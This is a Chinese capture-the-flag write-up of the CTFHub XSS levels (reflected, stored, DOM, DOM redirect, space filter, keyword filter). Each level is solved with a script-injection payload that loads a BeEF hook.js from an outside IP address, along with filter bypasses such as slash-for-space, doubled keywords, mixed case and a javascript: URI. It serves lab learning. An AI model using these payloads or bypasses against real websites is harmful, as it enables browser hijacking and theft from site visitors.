ctfhub_WEB基础关(4)
WEB基础
五、XSS
1、反射型
该关卡刚开始不知道flag存在哪儿,刚开始只在name框中提交东西,但是无法获取到falg,查看了提示,然后流程大概是先在Name框中输入,提交,然后将提交之后的网址复制粘贴到提交url的框中,就可以得到falg
-
利用beef工具来进行
-
在输入姓名的框中输入构造的payload然后点击提交
<script src='http://8.130.109.21:3000/hook.js'></script>
-
将提交后的url复制粘贴到第二个提交框中,点击提交
-
然后在beef平台上查看信息
2、存储型
存储型的获取flag过程和反射型的一致
-
提交payload,并且复制url到相应的url框中
-
在beef平台上查看flag
3、DOM型
-
这一关像之前的一样提交payload,发现回显的信息有问题然后去查看源码
-
查看页面源码,应该是要闭合语句,重新构成payload
-
构造新的payload
'</script> <script src="http://8.130.109.21:3000/hook.js">''
-
然后去beef平台上查看flag
4、DOM型跳转
-
点进去发现就只有一个输入框,另外一个不可以用,并且该请求是get请求,查看页面源代码,可以得到构造语句时需要写成
jumpto=
的形式 -
构造新的payload,然后进行提交
?jumpto=javascript:$.getScript("http://8.130.109.21:3000/hook.js")
- 使用了 jQuery 的
$.getScript()
函数来异步加载并执行来自 beef的 js 脚本
- 使用了 jQuery 的
-
将上面提交后的网址粘贴复制到url框中,点击提交
-
在beef平台上查看flag
5、过滤空格
过滤空格的绕过方法,利用/
来代替空格
-
构造payload
<script/src='http://8.130.109.21:3000/hook.js'></script>
-
将提交后的网址复制到URL的框中然后提交
-
查看beef平台上的FALG
6、关键词绕过
关键词绕过的方法一般有大小写绕过,双写绕过
-
输入
<script src='http://8.130.109.21:3000/hook.js'></script>
后,发现script
直接被替换为空了 -
试试双写绕过
<scscriptript src='http://8.130.109.21:3000/hook.js'></scrscriptipt>
发现可以绕过
- 复制链接到URL框中,然后提交
- 去beef平台查看flag
-
试试大小写绕过
-
构造payload,可以绕过
<scRipt src='http://8.130.109.21:3000/hook.js'></scRipt>
-
复制到url框中
-
去beef平台中查看结果
-